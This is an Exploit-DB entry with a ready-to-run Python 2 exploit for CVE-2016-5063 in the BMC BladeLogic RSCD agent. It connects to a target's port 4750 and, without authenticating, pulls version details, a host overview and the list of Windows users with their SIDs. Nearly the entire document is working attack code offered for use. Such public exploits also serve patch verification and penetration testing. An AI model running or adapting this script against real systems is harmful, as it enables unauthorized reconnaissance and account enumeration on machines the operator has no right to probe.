EDB-ID: 43934 | Author: Paul Taylor | Published: 2018-01-30 | CVE: CVE-2016-5063 | Type: Webapps | Platform: Windows | Vulnerable App: N/A | # Filename: BMC_winUsers.py
# Github: https://github.com/bao7uo/bmc_bladelogic
# Date: 2018-01-27
# Exploit Author: Paul Taylor / Foregenix Ltd
# Website: http://www.foregenix.com/blog
# Version: BMC RSCD agent 8.3.00.64
# CVE: CVE-2016-5063
# Vendor Advisory: https://docs.bmc.com/docs/ServerAutomation/87/release-notes-and-notices/flashes/notification-of-windows-rscd-agent-vulnerability-in-bmc-server-automation-cve-2016-5063
# Tested on: 8.3.00.64
#!/usr/bin/python2
# Retrieving Windows system users with BMC BladeLogic RSCD agent
# Tested against v8.3.00.64 (Windows version)
# CVE-2016-5063
# Author: Paul Taylor / Foregenix Ltd
# github.com/bao7uo/bmc_bladelogic
# www.foregenix.com/blog
# Credits:
# Converted to work against Windows version
# from the Linux BMC getUsers exploit by ERNW
import socket
import ssl
import sys
import requests
import argparse
import xml.etree.ElementTree as ET
import xml.dom.minidom
import httplib
from requests.packages.urllib3 import PoolManager
from requests.packages.urllib3.connection import HTTPConnection
from requests.packages.urllib3.connectionpool import HTTPConnectionPool
from requests.adapters import HTTPAdapter
class MyHTTPConnection(HTTPConnection):
def __init__(self, unix_socket_url, timeout=60):
HTTPConnection.__init__(self, HOST, timeout=timeout)
self.unix_socket_url = unix_socket_url
self.timeout = timeout
def connect(self):
self.sock = wrappedSocket
class MyHTTPConnectionPool(HTTPConnectionPool):
def __init__(self, socket_path, timeout=60):
HTTPConnectionPool.__init__(self, HOST, timeout=timeout)
self.socket_path = socket_path
self.timeout = timeout
def _new_conn(self):
return MyHTTPConnection(self.socket_path, self.timeout)
class MyAdapter(HTTPAdapter):
def __init__(self, timeout=60):
super(MyAdapter, self).__init__()
self.timeout = timeout
def get_connection(self, socket_path, proxies=None):
return MyHTTPConnectionPool(socket_path, self.timeout)
def request_url(self, request, proxies):
return request.path_url
def optParser():
parser = argparse.ArgumentParser(description="Retrieving system users with BMC BladeLogic Server Automation RSCD agent")
parser.add_argument("host", help="IP address of a target system")
parser.add_argument("-p", "--port", type=int, default=4750, help="TCP port (default: 4750)")
opts = parser.parse_args()
return opts
init = """<?xml version="1.0" encoding="UTF-8"?><methodCall><methodName>RemoteServer.intro</methodName><params><param><value>2015-11-19-16-10-30-3920958</value></param><param><value>7</value></param><param><value>0;0;21;AArverManagement_XXX_XXX:XXXXXXXX;2;CM;-;-;0;-;1;1;6;SYSTEM;CP1252;</value></param><param><value>8.6.01.66</value></param></params></methodCall>"""
getVersion = """<?xml version="1.0" encoding="UTF-8"?><methodCall><methodName>RemoteServer.getVersion</methodName><params/></methodCall>"""
getWindowsUsers = """<?xml version="1.0" encoding="UTF-8"?><methodCall><methodName>RemoteUser.getUserContents</methodName><params><param><value><struct><member><name>typeName</name><value>OS</value></member><member><name>host</name><value>0.0.0.0</value></member><member><name>container</name><value><array><data><value><struct><member><name>string</name><value></value></member><member><name>value</name><value><struct><member><name>longValue</name><value><ex:i8>1</ex:i8></value></member><member><name>kind</name><value><i4>1</i4></value></member></struct></value></member></struct></value></data></array></value></member><member><name>path</name><value>/</value></member></struct></value></param><param><value><i4>1</i4></value></param><param><value><array><data/></array></value></param><param><value><array><data/></array></value></param><param><value><array><data/></array></value></param></params></methodCall>"""
getHostOverview = """<?xml version="1.0" encoding="UTF-8"?><methodCall><methodName>RemoteServer.getHostOverview</methodName></methodCall>"""
options = optParser()
PORT = options.port
HOST = options.host
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, PORT))
sock.sendall("TLSRPC")
wrappedSocket = ssl.wrap_socket(sock)
adapter = MyAdapter()
s = requests.session()
s.mount("http://", adapter)
print "Sending intro..."
r = s.post('http://'+HOST+':'+str(PORT)+'/xmlrpc', data=init)
print "Getting version..."
r = s.post('http://'+HOST+':'+str(PORT)+'/xmlrpc', data=getVersion)
rootVersion = ET.fromstring(r.content)
print "========================="
print "Major version : " + rootVersion[0][0][0][0][0][1].text
print "Minor version : " + rootVersion[0][0][0][0][1][1].text
print "Patch version : " + rootVersion[0][0][0][0][2][1].text
print "Platform version: " + rootVersion[0][0][0][0][3][1].text
print "=========================\n"
print "Getting host overview..."
r = s.post('http://'+HOST+':'+str(PORT)+'/xmlrpc', data=getHostOverview)
rootOverview = ET.fromstring(r.content)
print rootOverview[0][0][0][0][12][1].text
linux = False
if rootOverview[0][0][0][0][0][1].text is not None:
linux = True
print "=================================================="
print "Agent instal dir: " + rootOverview[0][0][0][0][1][1].text
print "Licensed? : " + ("false" if (int(rootOverview[0][0][0][0][2][1][0].text) == 0) else "true")
print "Repeater? : " + ("false" if (int(rootOverview[0][0][0][0][12][1][0].text) == 0) else "true")
print "Hostname : " + rootOverview[0][0][0][0][6][1].text
print "Netmask : " + rootOverview[0][0][0][0][13][1].text
print "CPU architecture: " + rootOverview[0][0][0][0][10][1].text
print "Platform (OS) : " + rootOverview[0][0][0][0][14][1].text
print "OS version : " + rootOverview[0][0][0][0][15][1].text
print "OS architecture : " + rootOverview[0][0][0][0][3][1].text
print "OS release : " + rootOverview[0][0][0][0][11][1].text
print "Patch level : " + rootOverview[0][0][0][0][7][1].text
print "==================================================\n"
print "Sending request for users...\n"
r = s.post('http://'+HOST+':'+str(PORT)+'/xmlrpc', data=getWindowsUsers)
with open("./users.xml", "w") as text_file:
text_file.write(r.content)
root = ET.parse('./users.xml').getroot()
count = 0
ind = 1
while ind:
try:
ind = root[0][0][0][0][0][count][0][14][1].text
except IndexError:
pass
break
count += 1
print "Number of users found: " + str(count) + "\n"
for i in range(0, count):
print "Username: "+ root[0][0][0][0][0][i][0][14][1].text
print "SID: " + root[0][0][0][0][0][i][0][12][1].text
print "Comment: " + root[0][0][0][0][0][i][0][2][1].text
print "........................\n"
wrappedSocket.close()
